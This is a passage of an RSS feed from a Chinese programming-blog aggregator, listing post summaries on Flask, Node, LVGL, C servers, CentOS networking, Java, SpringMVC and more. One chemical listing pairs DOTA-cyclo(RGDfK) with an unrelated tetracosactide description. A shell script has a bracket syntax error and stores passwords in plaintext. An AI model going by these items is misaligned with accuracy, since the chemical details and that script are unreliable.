      <description>毕业设计：2023-2024年计算机专业毕业设计选题汇总（建议收藏）&#xA;毕业设计：2023-2024年最新最全计算机专业毕设选题推荐汇总&#xA;🍅感兴趣的可以先收藏起来，点赞、关注不迷路，大家在毕设选题，项目以及论文编写等相关问题都可以给我留言咨询，希望帮助同学们顺利毕业 。🍅&#xA;1、项目介绍 Python语言、MySQL数据库、Flask框架、Echarts可视化、中国天气网数据、requests爬虫技术、LayUI框架、HTML&#xA;关键词：数据可视化；Python；Echart；Flask；爬虫；气象&#xA;2、项目界面 （1）数据可视化大屏&#xA;（2）后台数据管理页面&#xA;（3）天气数据管理&#xA;（4）天气数据修改编辑&#xA;（5）系统注册登录界面&#xA;（6）数据采集页面&#xA;3、项目说明 随着科技技术的不断发展，人民物质生活质量不断提高，我们越来越关注身边的气象、空气等地理环境。对于普通居民我们会选择合适的气象进行出游，提高精神层面的生活质量；对于企业会关注气象变换状况，来定制相关的生产计划，来提高企业生产效率并降低生成过程中由气象造成的风险损失。从社会角度我们不难看出，气象时时刻刻影响我们的规划和生活，因此我们开发一套中国气象数据可视化系统，更加直观的呈现气象状况，是有必要的。&#xA;中国气象质量大数据展示与分析系统，通过使用python爬虫技术对中国气象数据进行实时获取，然后利用相关数据清洗以及数据库处理技术存入数据库，再通过Python Web框架也就是Flask框架进线系统后台数据接口开发，通过Echarts技术进行数据分析可视化展示以及通过LayUI前端技术开发后台数据管理页面从而来完成我们最终的中国气象数据可视化系统。&#xA;本文主要通过研究背景，对项目意义进线分析讨论；通过技术分析对项目技术架构选型进行敲定，根据系统需求分析和可行性分析来确定系统的主要功能结构。最后通过系统概要设计、数据库设计将设计的功能进行初步的建模。通过系统设计与实现以及测试阐述系统开发内容以及测试系统功能的正确性。从而最终完成系统的设计与实现。&#xA;关键词：数据可视化；Python；Echart；Flask；爬虫；气象&#xA;4、核心代码 from flask import Flask as _Flask, flash from flask import request, session from flask import render_template from flask.json import JSONEncoder as _JSONEncoder, jsonify import decimal from flask_apscheduler import APScheduler import service.users_data as user_service import service.weathers_data as weathers_data import service.view_data as view_data import service.version_data as version_data import service.slog_data as slog_data from service import data_service from spider.</description>
    </item>
    <item>
      <title>Node获取当前git的提交信息并保存到json文件</title>
      <link>https://bchobby.github.io/posts/f5106f3467b6bc460197327406edebb4/</link>
      <pubDate>Fri, 22 Dec 2023 11:28:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5106f3467b6bc460197327406edebb4/</guid>
      <description>Node获取当前git的提交信息并保存到json文件 核心完整代码总结 核心 本次需求的核心是引入shellJs，通过shell.exec运行命令获取git信息，其他都是常规的json获取和文件保存，所以核心是以下代码&#xA;const shell = require(&#39;shelljs&#39;) // 获取git分支名称 const branchs = shell.exec(&#34;git branch&#34;).trim().split(&#39;\n&#39;) branchs.forEach(function (item) { if (item.indexOf(&#39;*&#39;) &amp;gt; -1) { versionObj.branch = item.replace(&#39;*&#39;, &#39;&#39;).trim() // 获取当前激活的分支 } }) 完整代码 /** * 版本更新信息对象 * status： 状态 * branch: 部署git分支 * lastCommitId：最后一次git提交记录ID * lastCommitMessage: 最后一次git提交记录消息 * buildDate：打包时间 */ var versionObj = { status: &#34;up&#34;, branch: &#34;&#34;, lastCommitId: &#34;&#34;, lastCommitMessage: &#34;&#34;, buildDate: &#34;&#34;, }; const fs = require(&#34;fs&#34;); const moment = require(&#39;moment&#39;) const shell = require(&#39;shelljs&#39;) // 获取git分支名称 const branchs = shell.</description>
    </item>
    <item>
      <title>DOTA-cyclo(RGDfK) acetate，909024-55-1 多肽螯合剂</title>
      <link>https://bchobby.github.io/posts/151eedb5dd1eba98b3f94d59f6780736/</link>
      <pubDate>Fri, 22 Dec 2023 11:23:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/151eedb5dd1eba98b3f94d59f6780736/</guid>
      <description>英文名称：DOTA-cyclo(RGDfK) acetate&#xA;Cyclo[L-arginylglycyl-L-alpha-aspartyl-D-phenylalanyl-N6-[2-[4,7,10-tris(carboxymethyl)-1,4,7,10-tetraazacyclododec-1-yl]acetyl]-L-lysyl]&#xA;中文名称：环[L-精氨酰甘氨酰-L-alpha-天冬氨酰-D-苯丙氨酰-N6-[2-[4,7,10-三(羧甲基)-1,4,7,10-四氮杂环十二烷-1-基]乙酰基]-L-赖氨酰]&#xA;CAS：909024-55-1&#xA;序列号：DOTA-Glu-[cyclo(Arg-Gly-Asp-DPhe-Lys(Acp))]2&#xA;分子式：C43H67N13O14&#xA;分子量：990.07&#xA;结构式：&#xA;溶解度：易溶 (870 g/L) (25℃)&#xA;密度：1.48±0.1 g/cm3 (20℃ 760 Torr)&#xA;纯度：≥95%&#xA;存储温度：2-8℃&#xA;四糖腺苷是一种合成肽，对应于天然激素ACTH（促肾上腺皮质激素）的前24个氨基酸。它刺激肾上腺皮质产生皮质类固醇、盐皮质激素，在较小程度上，还产生雄激素。&#xA;Tetracosactide is a synthetic peptide, which corresponds to the first 24 amino acids of the naturally occurring hormone ACTH (adrenocorticotropic hormone). It stimulates the adrenal cortex to produce corticosteroids, mineralocorticoids, and, to a lesser extent, androgens.&#xA;其他相关试剂：&#xA;DOTA-(CONH2)3 913528-04-8&#xA;DOTA-(COOt-Bu)3 137076-54-1&#xA;DOTA-(COOt-Bu)3-azide 1402795-92-9&#xA;DOTA-(COOt-Bu)3-butyne 2125661-54-1&#xA;DOTA-(COOt-Bu)3-C2-NH2 173308-19-5&#xA;DOTA-(COOt-Bu)3-C4-NH2 1402393-59-2</description>
    </item>
    <item>
      <title>express 下搞一个 websocket 长连接</title>
      <link>https://bchobby.github.io/posts/d32be8d3628237f81a88baab81aef75d/</link>
      <pubDate>Fri, 22 Dec 2023 10:23:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d32be8d3628237f81a88baab81aef75d/</guid>
      <description>安装模块&#xA;npm i express&#xA;npm i express-ws&#xA;新建文件app.js&#xA;先安排源码 监听端口 7777&#xA;var express = require(&#39;express&#39;) var app = express() require(&#39;express-ws&#39;)(app) var port = 7777 var clientObject = {} app.ws(&#39;/&#39;, (client, req) =&amp;gt; { // 连接 var key = req.socket.remoteAddress + &#34;_&#34; + req.socket.remotePort clientObject[key] = { cli:client, heartBeat:1, } // 消息 client.on(&#39;message&#39;, (message) =&amp;gt; { client.send(&#34;收到你的消息了&#34; + message) }) // 关闭 client.on(&#39;close&#39;, () =&amp;gt; { var key = req.socket.remoteAddress + &#34;</description>
    </item>
    <item>
      <title>LVGL_V8.3入门六---手表表盘页面之间的切换(触摸切换、物理按键切换、组件切换)</title>
      <link>https://bchobby.github.io/posts/4a126a6c2d3cce7688e92eba15aaca14/</link>
      <pubDate>Fri, 22 Dec 2023 10:02:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a126a6c2d3cce7688e92eba15aaca14/</guid>
      <description> 系列文章目录 文章目录 系列文章目录一、实验效果二、通过触摸进行页面切换三、通过按钮组件进行页面切换四、代码解析 一、实验效果 二、通过触摸进行页面切换 1、单击选中屏幕一&#xA;2、新增ADD EVENT&#xA;3、设置事件触发属性&#xA;LVGL中有以下常见的事件类型&#xA;将事件设置为GESTURE_LEFT,向左滑动的手势。动作设置为Screen2，意思是滑动后切换到屏幕二。Fade mode设置的是屏幕滑动的方向。Speed设置滑动速度，Delay设置滑动延时。&#xA;三、通过按钮组件进行页面切换 将事件设置为CLICKED点击触发。动作设置为Screen1，意思是点击切换到屏幕一。Fade mode设置的是屏幕滑动的方向。Speed设置滑动速度，Delay设置滑动延时。&#xA;四、代码解析 增加触发事件&#xA;lv_obj_add_event_cb(ui_HomePage, ui_event_HomePage, LV_EVENT_ALL, NULL); 利用 lv_scr_load_anim函数进行切换，如果检测到屏幕滑动或者点击事件就使用 lv_scr_load_anim进行切换&#xA;void lv_scr_load_anim(lv_obj_t * scr, lv_scr_load_anim_t anim_type, uint32_t time, uint32_t delay, bool auto_del); 通过动画的方式显示 参数1：要加载的屏幕 参数2：动画类别 参数3：切换动画需要的时间 参数4：为true时则会在切换界面后将旧界面删除，节约内存 编写事件回调函数&#xA;void ui_event_HomePage(lv_event_t * e) { lv_event_code_t event_code = lv_event_get_code(e); lv_obj_t * target = lv_event_get_target(e); if(event_code == LV_EVENT_GESTURE) { if(lv_indev_get_gesture_dir(lv_indev_get_act()) == LV_DIR_RIGHT) { ui_MenuPage_screen_init(); lv_scr_load_anim(ui_MenuPage,LV_SCR_LOAD_ANIM_MOVE_RIGHT,100,0,true); } if(lv_indev_get_gesture_dir(lv_indev_get_act()) == LV_DIR_LEFT) { ui_SeaTime_screen_init(); lv_scr_load_anim(ui_Screen1,LV_SCR_LOAD_ANIM_MOVE_LEFT,100,0,true); } } } </description>
    </item>
    <item>
      <title>基于多反应堆的高并发服务器【C/C&#43;&#43;/Reactor】（上）</title>
      <link>https://bchobby.github.io/posts/38cbbffd4dcac1484498836ac6af0be6/</link>
      <pubDate>Thu, 21 Dec 2023 23:35:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38cbbffd4dcac1484498836ac6af0be6/</guid>
      <description>（一）初始化服务器端用于监听的套接字 Server.h #pragma once // 初始化监听的套接字 int initListenFd(unsigned short port); Server.c int initListenFd(unsigned short port) { // 1.创建监听的fd int lfd = socket(AF_INET, SOCK_STREAM, 0); if(lfd == -1) { perror(&#34;socket&#34;); return -1; } // 2.设置端口复用 int opt = 1; int ret = setsockopt(lfd,SOL_SOCKET,SO_REUSEADDR,&amp;amp;opt,sizeof(opt)); if(ret == -1) { perror(&#34;setsockopt&#34;); return -1; } // 3.绑定 struct sockaddr_in addr; addr.sin_family=AF_INET; addr.sin_port=htons(port); addr.sin_addr.s_addr=INADDR_ANY; ret = bind(lfd,(struct sockaddr*)&amp;amp;addr,sizeof(addr)); if(ret == -1) { perror(&#34;bind&#34;); return -1; } // 4.</description>
    </item>
    <item>
      <title>CentOS7之我想上网</title>
      <link>https://bchobby.github.io/posts/489e0cbb275e12124ce2b392ef3bac0f/</link>
      <pubDate>Thu, 21 Dec 2023 22:30:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/489e0cbb275e12124ce2b392ef3bac0f/</guid>
      <description>CentOS7的网络配置 写在前面安装过程一、查看本机的IP地址二、编辑CentOS7的网络配置文件三、VMware连接主机和虚拟机四、测试网络 写在最后2023年12月21日 写在前面 如果你有一点《计算机网络》的基础，或者是对子网和网络层的概念有点了解，那么配置这个网络对你来说易如反掌&#xA;系统环境：CentOS7&#xA;虚拟机软件：VMware&#xA;那么如何安装这个centos系统，我建议你可以去找一下公众号，比如软件安装管家，火耳之类的。我觉得他们写的比网上大部分详细多了。&#xA;安装过程 一、查看本机的IP地址 CTRL + R ：CMD 弹出命令行 命令行键入ipconfig：弹出本机的网络相关地址 选个192.168.xxx.xxx开头的来试验就好了&#xA;如果你不知道设置，看到图片的192.168.0.xxx跟你的ip地址像不像，把前面三个抄下来就好了，最后一个后面教你。&#xA;我选择用192.168.137.8连接和划分子网&#xA;现在可以确定的是：&#xA;网关：GATEWAY=“192.168.137.8”掩码：NETMASK=“255.255.255.0”域名服务器：DNS1=“192.168.137.8”子网地址：IPADDR=“192.168.137.9” 域名服务器是我学习的时候另一个虚拟机，大家可以替换为8.8.8.8和114.114.114.114&#xA;xxx是由你自己设置，这个需要子网的知识，我喜欢设置100~123，这样子就有23个子网。如果你不会，可以在这个范围内挑个你喜欢的数字设置为子网地址&#xA;二、编辑CentOS7的网络配置文件 这里需要打开centos7的命令行，这个快捷键要自己设置；&#xA;平时右键就有了，我是在训练机练习，没有设置快捷键，问题不是很大&#xA;1、su：进入管理员模式，输入密码 2、cd /etc/sysconfig/network-scripts：进入指定文件夹 3、ls：查看文件，网络配置文件名称为：ifcfg-ens3x（有的是32，有的是33，这个可以自己设置） 4、vim ifcfg-ens3x：打开网络配置文件（如果没有管理员模式，是编辑不了，或者会报错） 5、编辑文件 - GATEWAY=“192.168.137.8” - NETMASK=“255.255.255.0” - DNS1=“192.168.137.8” - IPADDR=“192.168.137.9” - BOOTPROTO=“static” - ONBOOT=yes - DEFOUTE=yes 到这里就完成了centos上网的配置&#xA;但是我们还需要在VMware里设置，把本机和虚拟机连接起来&#xA;三、VMware连接主机和虚拟机 第一步：编辑 -&amp;gt; 虚拟网络编辑&#xA;第二步：设置外面的&#xA;第三步：点击进入NAT设置&#xA;第四步：设置NAT里面的&#xA;第五步，检查设置&#xA;四、测试网络 搞完上面的，差最后一步&#xA;ifconfig ：查看CentOS7的网络配置 service network restart: 重启网络配置 ping -c 1 www.baidu.com 或者 ping www.</description>
    </item>
    <item>
      <title>shell学习2——创建10个用户，并给他们设置随机密码，密码记录到一个文件里，文件名为userinfo.txt，用户从user_00 到 user_09</title>
      <link>https://bchobby.github.io/posts/97a97b5e61b685938e6beb2c6af06ccf/</link>
      <pubDate>Thu, 21 Dec 2023 21:26:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97a97b5e61b685938e6beb2c6af06ccf/</guid>
      <description> 跟B站Up主学习shell脚本——阿铭linux&#xA;3461576172505894&#xA;需求 创建10个用户，并给他们设置随机密码，密码记录到一个文件里，文件名为userinfo.txt，用户从user_00 到 user_09&#xA;密码要求：包含大小写字母以及数字，密码长度15位&#xA;#!/bin/bash #author: xxh #version: v1 #date: 2023-12-07 ##先查询/test/userinfo.txt文件是否存在，存在的话先删除，以免影响本次脚本执行结果 if [-f /test/userinfo.txt] then rm -f /test/userinfo.txt fi ##判断mkpasswd命令在不在，使用该命令来生成随机字符串，也就是用户密码 if ! which mkpasswd then apt install -y expect fi for i in `seq -w 0 09` do p=`mkpasswd -l 15 -s 0` useradd user_${i} &amp;amp;&amp;amp; echo &#34;${p}&#34; | passwd --stdin user_${i} echo &#34;user_${i} ${p}&#34; &amp;gt;&amp;gt; /test/userinfo.txt done 收获 注意：mkpasswd命令在centos7里面是可以使用的&#xA;如果是ubantu22，需要用下面的命令&#xA;apt install openssl openssl rand -base64 15 </description>
    </item>
    <item>
      <title>NVIDIA GPU日志解读</title>
      <link>https://bchobby.github.io/posts/101c0b9c737542ccb7f2d6b20dcf977e/</link>
      <pubDate>Thu, 21 Dec 2023 20:52:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/101c0b9c737542ccb7f2d6b20dcf977e/</guid>
      <description>目录 2023-12-20 21:39:14.437944: I tensorflow/core/platform/cpu_feature_guard.cc:142] This TensorFlow binary is optimized with oneAPI Deep Neural Network Library (oneDNN) to use the following CPU instructions in performance-critical operations: AVX AVX2To enable them in other operations, rebuild TensorFlow with the appropriate compiler flags.2023-12-20 21:39:15.055224: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1510] Created device /job:localhost/replica:0/task:0/device:GPU:0 with 21668 MB memory: -&amp;gt; device: 0, name: NVIDIA GeForce RTX 3090, pci bus id: 0000:01:00.0, compute capability: 8.6&#xA;这段日志来自 TensorFlow，在启动时记录了一些关于其配置和硬件兼容性的信息。下面是对这段日志的解读： CPU 特性和优化：</description>
    </item>
    <item>
      <title>java中将Map集合、对象、字符串转换为JSON对象</title>
      <link>https://bchobby.github.io/posts/217e8794498fdc0a58ebea0950b0a36e/</link>
      <pubDate>Thu, 21 Dec 2023 20:50:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/217e8794498fdc0a58ebea0950b0a36e/</guid>
      <description>1、Map集合转JSON对象 创建一个Map集合；&#xA;新建json对象，并将Map引入json中。&#xA;public void demo1(){ //创建一个Map集合 Map&amp;lt;String, String&amp;gt; map = new HashMap&amp;lt;&amp;gt;(); map.put(&#34;1729210001&#34;,&#34;zhangsan&#34;); map.put(&#34;1729210002&#34;,&#34;lisi&#34;); map.put(&#34;1729210003&#34;,&#34;wangwu&#34;); //Map--&amp;gt;json JSONObject json = new JSONObject(map);//引入json对象 System.out.println(json); //打印json：{&#34;1729210003&#34;:&#34;wangwu&#34;,&#34;1729210002&#34;:&#34;lisi&#34;,&#34;1729210001&#34;:&#34;zhangsan&#34;} } 2、普通对象转JSON对象 创建一个Person类和Address类（此处省略了有参/无参构造方法、get()方法、set()方法）；&#xA;新建Person对象和Address对象，并赋值；&#xA;新建json对象，并将对象引入json中。&#xA;public class Person { private String name; private int age; private Address address; } public class Address { private String homeAddress; private String schoolAddress; } @Test public void demo2(){ //创建一个Person对象 Person per =new Person(); per.setName(&#34;zhangsan&#34;); per.setAge(23); Address add = new Address(&#34;</description>
    </item>
    <item>
      <title>【halcon深度学习之那些封装好的库函数】read_dl_samples</title>
      <link>https://bchobby.github.io/posts/dbdb1732dcceb6b8941c55d92dba27ba/</link>
      <pubDate>Thu, 21 Dec 2023 19:45:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbdb1732dcceb6b8941c55d92dba27ba/</guid>
      <description>函数分析 read_dl_samples 是一个用于从磁盘上读取先前保存的 DLSample 字典批量的过程。&#xA;签名：&#xA;read_dl_samples(DLDataset, SampleIndices, DLSampleBatch) 描述：&#xA;该过程通过 SampleIndices 参数确定要读取 DLDataset 中哪些样本的 DLSample 字典。&#xA;对于 DLDataset 中的每个样本，DLSample 字典的路径通过键 ‘dlsample_file_name’（在字典 ‘sample’ 中）和键 ‘dlsample_dir’（在字典 DLDataset 中）指定的目录确定。&#xA;请注意，如果对于某个样本不存在 ‘dlsample_file_name’ 键，该过程将自动生成该键。它使用带有后缀 ‘_dlsample.hdict’ 的图像 ID，并测试该文件是否存在于 ‘dlsample_dir’ 中。如果存在，则读取该文件并创建键 ‘dlsample_file_name’ 的条目。&#xA;参数：&#xA;DLDataset（输入）：包含有关数据集的信息的字典。SampleIndices（输入）：在字典 DLDataset 中的样本的索引，从中读取 DLSamples。DLSampleBatch（输出）：从磁盘读取的 DLSample 字典或 DLSample 字典的元组。 DLDataset 结构截图： ‘dlsample_file_name’ 键 可以再图中看到，注意这个字段是在 preprocess_dl_dataset这个函数执行之后才出现的字段。read_dl_samples 必然只能再数据预处理（preprocess_dl_dataset）完成之后才能执行！&#xA;DLSampleBatch，输出参数，数据结构如下（和DLDataset 相比里面多了图片对象）：&#xA;代码上下文 preprocess_dl_dataset (DLDataset, DataDirectory, DLPreprocessParam, GenParam, DLDatasetFilename) * Display the DLSamples for 10 randomly selected train images.</description>
    </item>
    <item>
      <title>【EasyExcel实践】万能导出，一个接口导出多张表以及任意字段（可指定字段顺序）</title>
      <link>https://bchobby.github.io/posts/0a88e8f774661bcf7464b63e3fa040bd/</link>
      <pubDate>Thu, 21 Dec 2023 19:41:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a88e8f774661bcf7464b63e3fa040bd/</guid>
      <description>文章目录 前言正文一、POM依赖二、核心Java文件2.1 自定义表头注解 ExcelColumnTitle2.2 自定义标题头的映射接口2.3 自定义有序map存储表内数据2.4 表头工厂2.5 表flag和表头映射枚举2.6 测试用的实体2.6.1 NameAndFactoryDemo2.6.2 StudentDemo 2.7 启动类2.8 测试控制器 三、测试测试1测试2测试3测试4 前言 日前，看到一个比较奇怪的导出功能。&#xA;需要根据不同的页面，以及指定不同的字段列表（任意顺序），然后导出对应的表格。&#xA;先假设一个场景：&#xA;假如你的系统有多个列表展示页，每页中可以依据筛选条件，调整展示的列的个数，顺序等。然后要求导出的时侯，导出一摸一样的格式。也就是“所见即所得”的表格。&#xA;那么基于以上场景，我们就来考虑下如何实现？&#xA;本文就是对以上场景功能的一个实现。目前仅支持单sheet，不支持数据聚合等。&#xA;后续优化了一下：&#xA;【EasyExcel实践】万能导出，一个接口导出多张表以及任意字段（可指定字段顺序）-简化升级版&#xA;代码仓库：https://gitee.com/fengsoshuai/excel-demo&#xA;正文 本文项目环境：&#xA;java 8，springboot2.2.0, easyexcel&#xA;一、POM依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.0.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.18.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;easyexcel&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.11&amp;lt;/version&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-api&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 二、核心Java文件 此处粘贴全部的java文件&#xA;2.1 自定义表头注解 ExcelColumnTitle package headbean; import java.lang.annotation.*; /** * 列名标题注解，标注列的标题 * * @author feng */ @Documented @Target({ElementType.</description>
    </item>
    <item>
      <title>《Effective C&#43;&#43;》学习笔记 续</title>
      <link>https://bchobby.github.io/posts/76e05348621720b20500fd6e9096a6d7/</link>
      <pubDate>Thu, 21 Dec 2023 19:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76e05348621720b20500fd6e9096a6d7/</guid>
      <description>条款31：将文件间编译依存关系降至最低 请记住：&#xA;支持”编译依存性最小化“的一般构想是：相依于声明式，不要相依于定义式。基于此构想的两个手段是Handle class和Interface class程序库头文件应该以”完全且仅有声明式“的形式存在。这种做法不论是否涉及template都适用 pimpl手法：在一个类中存放具体实现类的指针。这样，指针大小在32位系统上固定是4字节，无需知道具体实现类的大小。这解决了”接口与实现的分离“。是一种Handle class。&#xA;降低编译依存关系：&#xA;如果使用object reference或object pointers可以完成任务，就不要使用objects如果能够，尽量以class声明替换class定义为声明式和定义式提供不同的头文件 抽象基类是interface class。&#xA;Handle class和Interface class可降低编译依存性。&#xA;条款32：确定你的 public 继承塑模出 is-a 关系 请记住：&#xA;public继承意味着is-a。适用于base class身上的每一件事一定也适用于derived class身上，因为每一个derived class对象也都是一个base class对象。 条款33：避免遮掩继承而来的名称 内层作用域的名称会遮掩外围作用域的名称&#xA;请记住：&#xA;derived class内的名称会遮掩base class内的名称（一般是一个类中同名函数多个重载的情况）。在public继承下从来没有人希望如此。为了让被遮掩的名称重见天日，可使用using声明式或转交函数（有一点理解，using）。 如果只想继承父类的部分函数，就可以使用private继承，然后设置一个转交函数，转交函数中使用父类作用域调用父类函数。&#xA;条款中，父类有多个重载函数的的情况，不论是虚函数还是非虚函数，都会发生遮掩。&#xA;using 可以帮助我们获得base 中被遮掩的函数，但是如果我们只想要多个重载函数中的一个而不是全部的时候该怎么办呢？可以写一个简单的转交函数：&#xA;条款34：区分接口继承和实现继承 请记住：&#xA;接口继承和实现继承不同。在 public 继承之下，derived classes 总是继承 base class 的接口pure virtual 函数只具体指定接口继承简朴的（非纯）impure virtual 函数具体指定接口继承及缺省实现继承non-virtual 函数具体指定接口继承以及强制性实现继承 条款35：考虑 virtual 函数以外的其他选择 NVI手法：non-virtual interface&#xA;条款36：绝不重新定义继承而来的 non-virtual 函数 请记住：&#xA;绝不重新定义继承而来的non-virtual函数 为什么？因为，重新定义non-virtual函数会打破is-a的关系。 条款37：绝不重新定义继承而来的缺省参数值 对象的所谓静态类型（static type）就是它在程序中被声明时所采用的类型&#xA;virtual 函数是动态绑定的，但是缺省参数却是静态绑定的。意思是你可能会在“调用一个定义于 derived class”内的 virtual 函数的同时，却使用 base class 为它所指定的缺省参数值</description>
    </item>
    <item>
      <title>什么是SpringMVC</title>
      <link>https://bchobby.github.io/posts/5e61fb9c62ad79c8f38225cfba4fc61e/</link>
      <pubDate>Thu, 21 Dec 2023 19:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e61fb9c62ad79c8f38225cfba4fc61e/</guid>
      <description>系列文章目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加&#xA;SpringMVC之参数获取&#xA;提示：写完文章后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 系列文章目录前言一、概念二、SpringMVC执行流程三、使用SpringMVC的环境准备总结 前言 提示：这里可以添加本文要记录的大概内容：&#xA;在当今的 Java Web 开发领域，Spring MVC 框架已经成为了一种非常流行和广泛使用的 Web 框架。它是 Spring 框架的一部分，提供了一种基于模型-视图-控制器（MVC）架构模式的轻量级 Web 应用程序开发框架。&#xA;Spring MVC 框架的目标是使 Web 开发更加简单、高效和可维护。它提供了一个分层的架构，将应用程序的不同组件（模型、视图和控制器）分离开来，使得开发人员可以更加专注于每个组件的开发。&#xA;通过使用 Spring MVC，开发人员可以利用 Spring 框架的强大功能，如依赖注入（DI）和面向方面编程（AOP），来管理应用程序的复杂性。它还提供了一些内置的功能，如表单处理、验证、拦截器和国际化支持，大大简化了 Web 应用程序的开发过程。&#xA;总的来说，Spring MVC 框架是一个非常优秀和成熟的 Web 框架，它为开发人员提供了一种简洁、灵活和高效的方式来构建 Web 应用程序。如果你正在学习或计划使用 Java 进行 Web 开发，那么 Spring MVC 绝对是一个值得学习和掌握的框架。&#xA;在接下来的博客文章中，我将深入探讨 Spring MVC 的各个方面，包括其核心概念、工作原理、配置和使用示例。希望这些内容能够帮助你更好地理解和使用 Spring MVC 框架，从而提高你的 Web 开发技能。让我们一起开始探索 Spring MVC 的精彩世界吧！&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、概念 MVC全称Model View Controller，是一种设计创建Web应用程序的模式。这三个单词分别代表Web应用程序的三个部分：&#xA;Model（模型）：指数据模型。用于存储数据以及处理用户请求的业务逻辑。在Web应用中，JavaBean对象，业务模型等都属于Model。View（视图）：用于展示模型中的数据的，一般为jsp或html文件。Controller（控制器）：是应用程序中处理用户交互的部分。接受视图提出的请求，将数据交给模型处理，并将处理后的结果交给视图显示。 SpringMVC是一个基于MVC模式的轻量级Web框架，是Spring框架的一个模块，和Spring可以直接整合使用。SpringMVC代替了Servlet技术，它通过一套注解，让一个简单的Java类成为处理请求的控制器，而无须实现任何接口。&#xA;二、SpringMVC执行流程 用户发送请求：用户通过浏览器向服务器发送请求，请求中包含了请求的 URL、请求方法、请求参数等信息。DispatcherServlet 接收请求：SpringMVC 的核心组件 DispatcherServlet 会接收用户的请求，并根据请求的 URL 映射到相应的 Controller。Controller 处理请求：Controller 会根据请求的信息执行相应的业务逻辑，并返回一个 ModelAndView 对象，其中包含了要渲染的视图和模型数据。视图渲染： DispatcherServlet 会根据 ModelAndView 对象中的视图信息，选择相应的视图渲染引擎来渲染视图，并将模型数据传递给视图。响应返回：渲染后的视图会被返回给用户，用户可以在浏览器中看到相应的页面。 三、使用SpringMVC的环境准备 1.</description>
    </item>
    <item>
      <title>微信小程序实现一个音乐播放器的功能</title>
      <link>https://bchobby.github.io/posts/2b2d4bfef7fca9c99c4d70a8262ffab0/</link>
      <pubDate>Thu, 21 Dec 2023 19:11:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b2d4bfef7fca9c99c4d70a8262ffab0/</guid>
      <description>微信小程序实现一个音乐播放器的功能 要求代码实现wxml 文件wxss 文件js文件 解析 要求 1.页面包含一个音乐列表，点击列表中的音乐可以播放对应的音乐。&#xA;2.播放中的音乐在列表中有标识，并且可以暂停或继续播放。&#xA;3.显示当前音乐的播放进度和总时长，并可以拖动进度条调整播放进度。&#xA;4.点击切换按钮可以切换到下一首音乐。&#xA;5.点击循环按钮可以切换音乐的播放模式（单曲循环、列表循环、随机播放）。&#xA;代码实现 wxml 文件 &amp;lt;view class=&#34;container&#34;&amp;gt; &amp;lt;scroll-view scroll-y class=&#34;music-list&#34;&amp;gt; &amp;lt;view wx:for=&#34;{{ musicList }}&#34; wx:key=&#34;{{ index }}&#34; class=&#34;music-item&#34; bindtap=&#34;onMusicTap&#34; data-index=&#34;{{ index }}&#34;&amp;gt; &amp;lt;view class=&#34;music-name&#34;&amp;gt;{{ item.name }}&amp;lt;/view&amp;gt; &amp;lt;view class=&#34;music-artist&#34;&amp;gt;{{ item.artist }}&amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/scroll-view&amp;gt; &amp;lt;audio id=&#34;audio&#34; src=&#34;{{ currentMusic.src }}&#34; bindtimeupdate=&#34;onTimeUpdate&#34; bindended=&#34;onEnded&#34;&amp;gt;&amp;lt;/audio&amp;gt; &amp;lt;view class=&#34;player&#34;&amp;gt; &amp;lt;view class=&#34;controls&#34;&amp;gt; &amp;lt;button class=&#34;control-btn&#34; bindtap=&#34;onPrev&#34;&amp;gt;上一首&amp;lt;/button&amp;gt; &amp;lt;button class=&#34;control-btn&#34; bindtap=&#34;onPlayOrPause&#34;&amp;gt;{{ playing ? &#39;暂停&#39; : &#39;播放&#39; }}&amp;lt;/button&amp;gt; &amp;lt;button class=&#34;control-btn&#34; bindtap=&#34;onNext&#34;&amp;gt;下一首&amp;lt;/button&amp;gt; &amp;lt;button class=&#34;control-btn&#34; bindtap=&#34;</description>
    </item>
    <item>
      <title>Threejs给物体最外圈加线框(被挖洞或者被切的物体都可以)</title>
      <link>https://bchobby.github.io/posts/60343954c69b64605e247f29fce0234e/</link>
      <pubDate>Thu, 21 Dec 2023 18:49:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60343954c69b64605e247f29fce0234e/</guid>
